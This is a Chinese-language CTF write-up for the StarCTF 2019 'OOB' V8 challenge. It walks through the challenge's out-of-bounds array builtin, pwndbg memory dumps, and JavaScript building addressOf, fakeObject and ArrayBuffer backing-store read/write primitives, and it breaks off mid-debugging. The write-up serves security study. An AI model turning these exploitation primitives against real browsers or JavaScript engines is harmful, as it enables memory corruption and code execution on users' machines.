Wiki/Pwn/ChromeV8-Exploit/StarCTF2019_OOB/README.md
2024-09-16 10:28:36 +08:00

34 KiB
Raw Permalink Blame History

StarCTF2019 OOB

题目分析

题目给出一个diff​文件,和commit版本号将V8切换版本apply​后编译即可完成环境搭建。

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

这段diff的意思很明显为某些JS Object添加内置一个名为oob​的内置函数,提供一个元素的越界读写功能。SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob,2,false);​对应到具体源码可以看见,这个宏的第二个参数的定义是Handle<JSArray> proto = factory->NewJSArray(0, TERMINAL_FAST_ELEMENTS_KIND,AllocationType::kOld);​因此推测是对所有JSArray​的对象添加.obb()​方法。

思路分析

通过%DebugPrint​打印出来的内容和直接print打印变量得到的内容是不一样的暂时还不知道原因是什么但是在进行漏洞利用的时候是通过编写JS代码实现也就是要使用到变量内的值所以先给出浮点数和整数相互转换以及16进制打印的代码。

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

简单定义一个JS数组

var int_array = [1, 2, 3];
%DebugPrint(int_array);
%DebugPrint(int_array.oob());
print("[*] int array map: " + hex(d2u(int_array.oob())));

程序运行输出如下结果,可以看出int_array.oob()​恰巧是&int_array[4]​,暂时不知道为什么是这样的。而通过print​输出的正好就是elements[3]​的对应的内存值。

0x1ac09344e061 <JSArray[3]>
0x1ac09344e081 <HeapNumber 2.04868e-310>
[*] int array map: 0x000025b67a800851

pwndbg> job 0x1ac09344e061
0x1ac09344e061: [JSArray]
 - map: 0x1a2fc87c2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x060546e11111 <JSArray[0]>
 - elements: 0x1ac09344df29 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x25b67a800c71 <FixedArray[0]> {
    #length: 0x3afc85dc01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1ac09344df29 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
pwndbg> job 0x1ac09344df29
0x1ac09344df29: [FixedArray]
 - map: 0x25b67a800851 <Map>
 - length: 3
           0: 1
           1: 2
           2: 3

pwndbg> tele 0x1ac09344e060
00:0000  0x1ac09344e060 —▸ 0x1a2fc87c2d99 ◂— 0x4000025b67a8001
01:0008  0x1ac09344e068 —▸ 0x25b67a800c71 ◂— 0x25b67a8008
02:0010  0x1ac09344e070 —▸ 0x1ac09344df29 ◂— 0x25b67a8008
03:0018  0x1ac09344e078 ◂— 0x300000000
04:0020  0x1ac09344e080 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001
05:0028  0x1ac09344e088 —▸ 0x25b67a800851 ◂— 0x25b67a8001
06:0030  0x1ac09344e090 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001
07:0038  0x1ac09344e098 —▸ 0x25b67a800851 ◂— 0x25b67a8001
pwndbg> tele 0x1ac09344df28
00:0000  0x1ac09344df28 —▸ 0x25b67a800851 ◂— 0x25b67a8001
01:0008  0x1ac09344df30 ◂— 0x300000000
02:0010  0x1ac09344df38 ◂— 0x100000000
03:0018  0x1ac09344df40 ◂— 0x200000000
04:0020  0x1ac09344df48 ◂— 0x300000000
05:0028  0x1ac09344df50 —▸ 0x25b67a800851 ◂— 0x25b67a8001
06:0030  0x1ac09344df58 ◂— 0x400000000
07:0038  0x1ac09344df60 —▸ 0x3afc85dc3b29 ◂— 0x25b67a8009

同时可以看出它在内存的分布是这样的:

image

Elements​和JSArray​是不连续的,打印&Elements[3]​后续内存中的一些疑似对象的值:

pwndbg> job 0x1ac09344df51
0x1ac09344df51: [FixedArray]
 - map: 0x25b67a800851 <Map>
 - length: 4
           0: 0x3afc85dc3b29 <SharedFunctionInfo>
           1: 0x1ac09344d041 <String[562]\: let array_buffer = new ArrayBuffer(0x8);\nlet data_view = new DataView(array_buffer);\n\nfunction d2u(value) {\n    data_view.setFloat64(0, value);\n    return data_view.getBigUint64(0);\n}\n\nfunction u2d(value) {\n    data_view.setBigUint64(0, value);\n    return data_view.getFloat64(0);\n}\n\nfunction hex(val) {\n    return '0x' + val.toString(16).padStart(16, "0");\n}\n\nvar int_array = [1, 2, 3];\n%DebugPrint(int_array);\n%DebugPrint(int_array.oob());\nprint("[*] int array map: " + hex(d2u(int_array.oob())));\n// %DebugPrint(dv1);\n%SystemBreak();\n\n\n// %SystemBreak();\n\n\n\n\n>
           2: 0
           3: -1

pwndbg> job 0x1ac09344df81
0x1ac09344df81: [ClosureFeedbackCellArray]
 - map: 0x25b67a8012c9 <Map>
 - length: 4
           0: 1024
           1: 0x060546e1f7a1 <FeedbackCell[one closure]>
           2: 0x060546e1f7b1 <FeedbackCell[one closure]>
           3: 0x060546e1f7c1 <FeedbackCell[one closure]>

pwndbg> job 0x1ac09344dfb1
0x1ac09344dfb1: [Context]
 - map: 0x25b67a801279 <Map>
 - length: 4
 - scope_info: 2
 - previous: 0x060546e173e9 <ScriptContext[5]>
 - extension: 0x060546e1f8b9 <ScriptContext[6]>
 - native_context: 0x25b67a8004d1 <undefined>
           0: 2
           1: 0x060546e173e9 <ScriptContext[5]>
           2: 0x060546e1f8b9 <ScriptContext[6]>
           3: 0x25b67a8004d1 <undefined>

猜测与代码中FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());​的强制类型转换或者某种优化有关系,因此尝试定义一个浮点数组:

var float_array = [1.1, 2.2, 3.3];
%DebugPrint(float_array);
%DebugPrint(float_array.oob());
print("[*] float array map: " + hex(d2u(float_array.oob())));

调试查看内存值:

0x313b6468e0c1 <JSArray[3]>
0x313b6468e0e1 <HeapNumber 3.6831e-311>
[*] float array map: 0x000006c7ad402ed9


pwndbg> job 0x313b6468e0c1
0x313b6468e0c1: [JSArray]
 - map: 0x06c7ad402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2e4cc75d1111 <JSArray[0]>
 - elements: 0x313b6468e099 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x0e51cd280c71 <FixedArray[0]> {
    #length: 0x2906063c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x313b6468e099 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }

pwndbg> tele 0x313b6468e098 10
00:0000  0x313b6468e098 —▸ 0xe51cd2814f9 ◂— 0xe51cd2801
01:0008  0x313b6468e0a0 ◂— 0x300000000
02:0010  0x313b6468e0a8 ◂— 0x3ff199999999999a
03:0018  0x313b6468e0b0 ◂— 0x400199999999999a
04:0020  0x313b6468e0b8 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028  0x313b6468e0c0 —▸ 0x6c7ad402ed9 ◂— 0x400000e51cd2801
06:0030  0x313b6468e0c8 —▸ 0xe51cd280c71 ◂— 0xe51cd2808
07:0038  0x313b6468e0d0 —▸ 0x313b6468e099 ◂— 0xe51cd2814
08:0040  0x313b6468e0d8 ◂— 0x300000000
09:0048  0x313b6468e0e0 —▸ 0xe51cd280561 ◂— 0x200000e51cd2801

可以发现这次JSArray​与DoubleFixedArray​在内存中是连续的,而且后者在前者的低地址处,因此oob​就可以读写JSArray​的Map​指针,从而进行类型混淆。

image

构造原语

AddressOf和FakeObject原语

首先根据类型混淆可以构造出AddressOf

首先构造AddressOf​原语:

var obj = new Object();
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
    float_array.oob(object_array_map);
    float_array[0] = obj;
    float_array.oob(float_array_map);
    return d2u(float_array[0]);
}

该原语将任意对象的指针填入float_array[0]并欺骗V8引擎在读写代码8、10行数组的过程中正确处理变量类型而不造成变量类型的变化。举个简单的例子如果不经过类型混淆直接调用float_array[0] = obj由于JS弱类型/动态类型的特性,这并不会报错,但是float_array​的Map​指针会指向一个新的类型:

var obj = new Object();
var float_array = [1.1];
%DebugPrint(float_array);
%SystemBreak();
float_array[0] = obj;
%DebugPrint(float_array);
%SystemBreak();

第一次断点:

pwndbg> job 0x2907e2b0e0a1
0x2907e2b0e0a1: [JSArray]
 - map: 0x0ddb61d02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x179d4ae91111 <JSArray[0]>
 - elements: 0x2907e2b0e089 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x3d3fed280c71 <FixedArray[0]> {
    #length: 0x2605401801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2907e2b0e089 <FixedDoubleArray[1]> {
           0: 1.1
 }

第二次断点:

pwndbg> job 0x2907e2b0e0a1
0x2907e2b0e0a1: [JSArray]
 - map: 0x0ddb61d02f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x179d4ae91111 <JSArray[0]>
 - elements: 0x2907e2b0e0c1 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x3d3fed280c71 <FixedArray[0]> {
    #length: 0x2605401801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x2907e2b0e0c1 <FixedArray[1]> {
           0: 0x2907e2b0e051 <Object map = 0xddb61d00459>
 }

可以明显看出float_array​的结构发生了变化,这种性质导致无法直接通过修改数组存储的对象的方式获取到对象的地址。

而对于AddressOf​原语下断点分析:

var obj = new Object();
var object_array = [obj];
var object_array_map = object_array.oob();
var float_array = [1.1];
var float_array_map = float_array.oob();
function addressOf(obj) {
    %SystemBreak();
    float_array.oob(object_array_map);
    %SystemBreak();
    float_array[0] = obj;
    float_array.oob(float_array_map);
    return d2u(float_array[0]);
}
%DebugPrint(obj);
%DebugPrint(float_array);
print("[*] Address of obj is " + hex(d2u(addressOf(obj))));
%SystemBreak();

第一次断点:

0x05294860e1b9 <Object map = 0x3a83e7c40459>
0x05294860e251 <JSArray[1]>
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.

pwndbg> job 0x05294860e251
0x5294860e251: [JSArray]
 - map: 0x3a83e7c42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2ecf8a0d1111 <JSArray[0]>
 - elements: 0x05294860e239 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x028849c40c71 <FixedArray[0]> {
    #length: 0x0b166b2801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x05294860e239 <FixedDoubleArray[1]> {
           0: 1.1
 }
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.

pwndbg> job 0x05294860e251
0x5294860e251: [JSArray]
 - map: 0x3a83e7c42f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x2ecf8a0d1111 <JSArray[0]>
 - elements: 0x05294860e239 <FixedDoubleArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x028849c40c71 <FixedArray[0]> {
    #length: 0x0b166b2801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x05294860e239 <FixedDoubleArray[1]> {
           0: 1072798105
 }
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.

[*] Address of obj is 0x000005294860e1b9

pwndbg> tele 0x05294860e238
00:0000  0x5294860e238 —▸ 0x28849c414f9 ◂— 0x28849c401
01:0008  0x5294860e240 ◂— 0x100000000
02:0010  0x5294860e248 —▸ 0x5294860e1b9 ◂— 0x7100003a83e7c404
03:0018  0x5294860e250 —▸ 0x3a83e7c42ed9 ◂— 0x40000028849c401
04:0020  0x5294860e258 —▸ 0x28849c40c71 ◂— 0x28849c408
05:0028  0x5294860e260 —▸ 0x5294860e239 ◂— 0x28849c414
06:0030  0x5294860e268 ◂— 0x100000000
07:0038  0x5294860e270 —▸ 0x28849c40561 ◂— 0x20000028849c401
pwndbg> job 0x5294860e1b9
0x5294860e1b9: [JS_OBJECT_TYPE]
 - map: 0x3a83e7c40459 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ecf8a0c2091 <Object map = 0x3a83e7c40229>
 - elements: 0x028849c40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x028849c40c71 <FixedArray[0]> {}

可以看出float_array​和其Elements​的类型均未改变,只是Element[0]​被修改为obj​的地址。由此即构造出AddressOf​原语,同理我们可以构造出FakeObject​原语:

function fakeObject(addr) {
    object_array.oob(float_array_map);
    object_array[0] = u2d(addr | 1n);
    object_array.oob(object_array_map);
    return object_array[0];
}

该原语将伪造的对象的首地址填入object_array[0]​,这样访问object_array[0]​的时候就相当于在访问任意伪造的对象了。

任意读任意写原语

接着构造任意读和任意写的原语最朴素的思路是通过JS数组伪造一个假的对象利用FakeObject​原语将这个假的对象首地址填入object_array[0]​,这样操作object_array[0]​就是在操作Fake JSArray​,通过object_array[0][0]​修改Elements​指针,通过object_array[0][1]​修改Length​长度。再通过attack_array​即可实现对Elements+0x10​后地址的任意地址读写。

image

实际上在内存中可以观察到target_array​的JSArray​恰好位于FixedArray​的连续的低地址处,因此可以获得以下构造:

var x = [6, 6, 6, 6];
var x_addr = addressOf(x);
var attack_array = [1, 2, 3];
var attack_addr = addressOf(attack_array);
var target_array = [
    float_array_map,          // fake map
    0,                        // fake properties
    u2d(attack_addr+0x10n),   // fake elements
    u2d(0xdeadbeefn << 32n),  // fake length
];
var target_addr = addressOf(target_array);
%DebugPrint(x);
%DebugPrint(attack_array);
%DebugPrint(object_array);
%DebugPrint(target_array);
%SystemBreak();
fake_object = fakeObject(target_addr+0x30n);
%DebugPrint(target_array);
%SystemBreak();
fake_object[0] = u2d(x_addr | 1n);
fake_object[1] = u2d(0x200n << 32n);

%DebugPrint(target_array);
%DebugPrint(object_array);
%SystemBreak();

第一次断点时查看object_array​,其内部存着一个空对象:

0x07327d94ee31 <JSArray[4]>
0x07327d94eee1 <JSArray[3]>
0x07327d94edb9 <JSArray[1]>
0x07327d94ef89 <JSArray[4]>

pwndbg> job 0x07327d94edb9 
0x7327d94edb9: [JSArray]
 - map: 0x0981e18c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x191edf611111 <JSArray[0]>
 - elements: 0x07327d94eda1 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0f12fff80c71 <FixedArray[0]> {
    #length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x07327d94eda1 <FixedArray[1]> {
           0: 0x07327d94ed69 <Object map = 0x981e18c0459>
 }

pwndbg> job 0x07327d94ed69
0x7327d94ed69: [JS_OBJECT_TYPE]
 - map: 0x0981e18c0459 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x191edf602091 <Object map = 0x981e18c0229>
 - elements: 0x0f12fff80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0f12fff80c71 <FixedArray[0]> {}

fake_obj​填入object_array​,成功伪造与float_array​具有相同Map​的对象:

pwndbg> job 0x07327d94edb9 
0x7327d94edb9: [JSArray]
 - map: 0x0981e18c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x191edf611111 <JSArray[0]>
 - elements: 0x07327d94eda1 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0f12fff80c71 <FixedArray[0]> {
    #length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x07327d94eda1 <FixedArray[1]> {
           0: 0x07327d94efb9 <JSArray[3735928559]>
 }
pwndbg> job 0x07327d94ef89
0x7327d94ef89: [JSArray]
 - map: 0x0981e18c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x191edf611111 <JSArray[0]>
 - elements: 0x07327d94efa9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x0f12fff80c71 <FixedArray[0]> {
    #length: 0x0a6ddeb001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x07327d94efa9 <FixedDoubleArray[4]> {
           0: 5.16469e-311
           1: 0
           2: 3.90976e-311
           3: -1.1886e+148
 }
pwndbg> tel 0x07327d94efa8
00:0000  0x7327d94efa8 —▸ 0xf12fff814f9 ◂— 0xf12fff801
01:0008  0x7327d94efb0 ◂— 0x400000000
02:0010  0x7327d94efb8 —▸ 0x981e18c2ed9 ◂— 0x400000f12fff801
03:0018  0x7327d94efc0 ◂— 0
04:0020  0x7327d94efc8 —▸ 0x7327d94eef1 ◂— 0x7327d94e3
05:0028  0x7327d94efd0 ◂— 0xdeadbeef00000000
06:0030  0x7327d94efd8 —▸ 0xf12fff813b9 ◂— 0xf12fff801
07:0038  0x7327d94efe0 ◂— 2
pwndbg> job 0xf12fff814f9
0xf12fff814f9: [Map]
 - type: FIXED_DOUBLE_ARRAY_TYPE
 - instance size: variable
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x0f12fff804d1 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x0f12fff80259 <DescriptorArray[0]>
 - layout descriptor: (nil)
 - prototype: 0x0f12fff801d9 <null>
 - constructor: 0x0f12fff801d9 <null>
 - dependent code: 0x0f12fff802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 
pwndbg> job 0x981e18c2ed9
0x981e18c2ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0981e18c2e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x0a6ddeb00609 <Cell value= 1>
 - instance descriptors #1: 0x191edf611f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x191edf611eb9 <TransitionArray[4]>Transition array #1:
     0x0f12fff84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0981e18c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x191edf611111 <JSArray[0]>
 - constructor: 0x191edf610ec1 <JSFunction Array (sfi = 0xa6ddeb06791)>
 - dependent code: 0x0f12fff802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

但是使用job 0x07327d94efb9​会报错:

#
# Fatal error in , line 0
# unreachable code
#
#
#
#FailureMessage Object: 0x7ffe1f3cb270
==== C stack trace ===============================

    /home/v8/v8/out.gn/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x5621f57e2903]
    /home/v8/v8/out.gn/x64.release/d8(+0x1107edb) [0x5621f57e1edb]
    /home/v8/v8/out.gn/x64.release/d8(V8_Fatal(char const*, int, char const*, ...)+0x148) [0x5621f57dc8e8]
    /home/v8/v8/out.gn/x64.release/d8(+0xc416dc) [0x5621f531b6dc]
    /home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectShortPrint(std::__1::basic_ostream<char, std::__1::char_traits<char> >&)+0xa9) [0x5621f529bc49]
    /home/v8/v8/out.gn/x64.release/d8(v8::internal::operator<<(std::__1::basic_ostream<char, std::__1::char_traits<char> >&, v8::internal::Brief const&)+0x7c) [0x5621f528f89c]
    /home/v8/v8/out.gn/x64.release/d8(+0xbaab7b) [0x5621f5284b7b]
    /home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectPrint(std::__1::basic_ostream<char, std::__1::char_traits<char> >&)+0x9a3) [0x5621f5276003]
    /home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print(std::__1::basic_ostream<char, std::__1::char_traits<char> >&) const+0xc0) [0x5621f52755c0]
    /home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print() const+0x3e) [0x5621f52753ce]
    /home/v8/v8/out.gn/x64.release/d8(_v8_internal_Print_Object(void*)+0x15) [0x5621f5286f95]
    [0x7ffe1f3cbbef]

Thread 1 "d8" received signal SIGILL, Illegal instruction.
0x00005621f57dff32 in v8::base::OS::Abort() ()
#2  0x00005621f531b6dc in v8::internal::String::StringShortPrint(v8::internal::StringStream*, bool) ()

继续运行也会报错:

pwndbg> c
Continuing.
Received signal 4 ILL_ILLOPN 5621f57dff32

Thread 1 "d8" received signal SIGILL, Illegal instruction.

据说是因为FixedDoubleArray​在进行数组访问时会要Elements​指向的范围是否在堆地址范围内,伪造浮点数数组操作时会触发Inline Cache​。

但是可以使用ArrayBufferDataView 来构造任意地址读写,首先看看这两个结构在内存中的表示:

let array_buffer = new ArrayBuffer(0x20);
let data_view = new DataView(array_buffer);

%DebugPrint(array_buffer);
%DebugPrint(data_view);
%SystemBreak();

查看内存值:

0x3f16f0c0e9e9 <ArrayBuffer map = 0x379033d821b9>
0x3f16f0c0ea29 <DataView map = 0x379033d81719>

pwndbg> job 0x3f16f0c0e9e9
0x3f16f0c0e9e9: [JSArrayBuffer]
 - map: 0x379033d821b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x395697cce981 <Object map = 0x379033d82209>
 - elements: 0x3a00cefc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x55f06c896c50
 - byte_length: 32
 - detachable
 - properties: 0x3a00cefc0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> tel 0x3f16f0c0e9e8
00:0000  0x3f16f0c0e9e8 —▸ 0x379033d821b9 ◂— 0x800003a00cefc01
01:0008  0x3f16f0c0e9f0 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
02:0010  0x3f16f0c0e9f8 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
03:0018  0x3f16f0c0ea00 ◂— 0x20 /* ' ' */
04:0020  0x3f16f0c0ea08 —▸ 0x55f06c896c50 ◂— 0
05:0028  0x3f16f0c0ea10 ◂— 2
06:0030  0x3f16f0c0ea18 ◂— 0
07:0038  0x3f16f0c0ea20 ◂— 0

pwndbg> x/8gx 0x55f06c896c50-0x10
0x55f06c896c40:	0x000000000000022f	0x0000000000000031
0x55f06c896c50:	0x0000000000000000	0x0000000000000000
0x55f06c896c60:	0x0000000000000000	0x0000000000000000
0x55f06c896c70:	0x0000000000000000	0x0000000000000031

因此ArrayBuffer​在内存中的布局如下,其中Backing_length​不是HeapObject​对象,而是直接由堆管理器分配的一个堆快,在Chrome​中是PartitionAlloc​,在d8​中是ptmalloc2​。如果能够修改Backing_store​指针,就可以实现任意地址读写,这也是常用的利用手法。

image

ArrayBuffer​是维护Backing_store​内存区的抽象类,其读写必须依赖于TypedArray​或DataView​,从下图中很容易看出他们之间的继承关系:

image

这里先分析DataView​的结构:

pwndbg> job 0x3f16f0c0ea29
0x3f16f0c0ea29: [JSDataView]
 - map: 0x379033d81719 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x395697ccaff9 <Object map = 0x379033d81769>
 - elements: 0x3a00cefc0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - buffer =0x3f16f0c0e9e9 <ArrayBuffer map = 0x379033d821b9>
 - byte_offset: 0
 - byte_length: 32
 - properties: 0x3a00cefc0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> tel 0x3f16f0c0ea28
00:0000  0x3f16f0c0ea28 —▸ 0x379033d81719 ◂— 0x800003a00cefc01
01:0008  0x3f16f0c0ea30 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
02:0010  0x3f16f0c0ea38 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08
03:0018  0x3f16f0c0ea40 —▸ 0x3f16f0c0e9e9 ◂— 0x710000379033d821
04:0020  0x3f16f0c0ea48 ◂— 0
05:0028  0x3f16f0c0ea50 ◂— 0x20 /* ' ' */
06:0030  0x3f16f0c0ea58 ◂— 0
07:0038  0x3f16f0c0ea60 ◂— 0

在内存中的示意图:

image

因此我们就可以得到类似的任意地址写的策略,利用Elements​修改ab1​的BackingStore​,指向ab2​的BackingStore​,需要任意地址写的时候通过ab1​修改ab2​的BackingStore​为任意地址,通过ab2​进行任意地址写,DataView​只是ArrayBuffer​的一层接口包装,无需在构造时考虑:

image

通过上图构造编写如下代码:

var ab1 = new ArrayBuffer(0x8);
var ab2 = new ArrayBuffer(0x1000);
var dv1 = new DataView(ab1);
var dv2 = new DataView(ab2);
var ab1_backing_store_addr = addressOf(ab1) + 0x20n;
var ab2_backing_store_addr = addressOf(ab2) + 0x20n;


float_array_mem = [
    float_array_map,
    0,
    u2d(ab1_backing_store_addr - 0x10n),
    u2d(0xdeadbeefn << 32n)
];

float_mem_addr = addressOf(float_array_mem);
fake_array = fakeObject(float_mem_addr + 0x30n);

fake_array[0] = u2d(ab2_backing_store_addr - 1n);
%DebugPrint(ab1);
%DebugPrint(ab2);
%DebugPrint(fake_array);
%SystemBreak();

调试发现确实修改到的ab1​的BackingStore​属性并将其指向ab2​的BackingStore

0x0bbd8c44ed61 <ArrayBuffer map = 0x101468c421b9>
0x0bbd8c44eda1 <ArrayBuffer map = 0x101468c421b9>
0x0bbd8c44efe9 <JSArray[3735928559]>

pwndbg> job 0x0bbd8c44efe9
0xbbd8c44efe9: [JSArray]
 - map: 0x101468c42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x27a91ed91111 <JSArray[0]>
 - elements: 0x0bbd8c44ed71 <String[#0]: > [PACKED_DOUBLE_ELEMENTS]
 - length: -559038737
 - properties:  {
    #length: 0x16d085c801a9 <AccessorInfo> (const accessor descriptor)
 }
pwndbg> job 0x0bbd8c44ed61 
0xbbd8c44ed61: [JSArrayBuffer]
 - map: 0x101468c421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x27a91ed8e981 <Object map = 0x101468c42209>
 - elements: 0x159a28e40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0xbbd8c44edc0
 - byte_length: 8
 - detachable
 - properties: 0x159a28e40c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> tel 0x0bbd8c44eda0
00:0000  0xbbd8c44eda0 —▸ 0x101468c421b9 ◂— 0x80000159a28e401
01:0008  0xbbd8c44eda8 —▸ 0x159a28e40c71 ◂— 0x159a28e408
